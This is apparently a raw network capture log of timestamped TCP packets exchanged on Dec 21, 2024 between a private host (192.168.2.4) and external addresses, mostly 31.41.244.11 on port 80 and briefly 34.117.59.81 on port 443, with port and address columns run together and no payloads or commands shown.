                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.635904074 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.635957956 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.635991096 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.636040926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.637059927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.637114048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.637145996 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.637188911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.638125896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.638377905 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.638432980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.639374971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.639422894 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.639561892 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.639609098 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.640431881 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.640491009 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.640556097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.640611887 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.641568899 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.641621113 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.641634941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.641777039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.642868042 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.642905951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.642923117 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.642945051 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.644042969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.644093990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.644288063 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.644330978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.645172119 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.645299911 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.645345926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.646316051 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.646331072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.646379948 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.647356987 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.647403955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.647444010 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.647490978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.648519993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.648565054 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.648602009 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.648647070 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.649692059 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.649740934 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.649745941 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.649780989 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.650773048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.650820017 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.650859118 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.650902987 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.652105093 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.652151108 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.652332067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.652376890 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.653135061 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.653182030 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.653203011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.653247118 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.654247046 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.654293060 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.654402971 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.654522896 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.655379057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.655426979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.655590057 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.655632973 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.656609058 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.656625032 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.656672955 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.657740116 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.657766104 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.657789946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.657819033 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.658902884 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.658962965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.659048080 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.659091949 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.659934998 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.659987926 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.660057068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.660109043 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.661161900 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.661205053 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.661253929 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.661297083 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.662461042 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.662533045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.662565947 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.662611961 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.663548946 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.663598061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.663765907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.663809061 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.664812088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.664917946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.664997101 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.665096045 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.665811062 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.665844917 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.665888071 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.666934967 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.666975021 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.667042017 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.667083979 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.668059111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.668082952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.668102980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.668121099 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.669147015 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.669198990 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.669230938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.669271946 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.670375109 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.670661926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.670723915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.671469927 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.671524048 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.671716928 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.671766996 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.672718048 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.672734022 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.672775984 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.672799110 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.674024105 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.674202919 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.674266100 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.674953938 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.675000906 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.675036907 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.675076962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.770831108 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.771085978 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.771161079 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.771348953 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.771399975 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.771430969 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.771480083 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.772619009 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.772664070 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.772669077 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.772710085 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.773591042 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.773638964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.811455011 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.811621904 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.811683893 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.812067986 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.812113047 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.812211990 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.812252998 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.813236952 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.813252926 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.813303947 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.814352989 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.814368963 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.814405918 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.814420938 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815366030 CET49872443192.168.2.434.117.59.81
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815429926 CET4434987234.117.59.81192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815543890 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815612078 CET49872443192.168.2.434.117.59.81
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815646887 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815654039 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815783024 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815908909 CET49872443192.168.2.434.117.59.81
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.815943956 CET4434987234.117.59.81192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.816672087 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.816721916 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.816754103 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.816792965 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.817820072 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.818032980 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.818078995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.819015980 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.819063902 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.819096088 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.819166899 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.820159912 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.820175886 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.820209980 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.820231915 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.821315050 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.821413040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.821465015 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.822452068 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.822571993 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.822618008 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.823600054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.823626041 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.823673964 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.824815035 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.824862003 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.824933052 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.824976921 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.825862885 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.825879097 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.825911999 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.825921059 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.827052116 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.827096939 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.827205896 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.827251911 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.828183889 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.828233004 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.828239918 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.828279972 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.829260111 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.829505920 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.829560041 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.830570936 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.830588102 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.830632925 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.831624985 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.831733942 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.831787109 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.832931042 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.833005905 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.833039999 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.833081007 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.834073067 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.834089041 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.834134102 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.835051060 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.835067034 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.835108995 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.835124969 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.836163044 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.836211920 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.836406946 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.836451054 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.837418079 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.837521076 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.837563038 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.838500023 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.838516951 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.838557959 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.839631081 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.839673042 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.839751959 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.839792967 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.840794086 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.840853930 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.841042995 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.841093063 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.842015028 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.842147112 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.842164040 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.842211962 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.843077898 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.843193054 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.843235970 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.844289064 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.844305038 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.844340086 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.844353914 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.845416069 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.845432043 CET804985031.41.244.11192.168.2.4
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.845453978 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.845475912 CET4985080192.168.2.431.41.244.11
                                                                                                                                                                                                                                                                                  Dec 21, 2024 12:15:49.846538067 CET804985031.41.244.11192.168.2.4
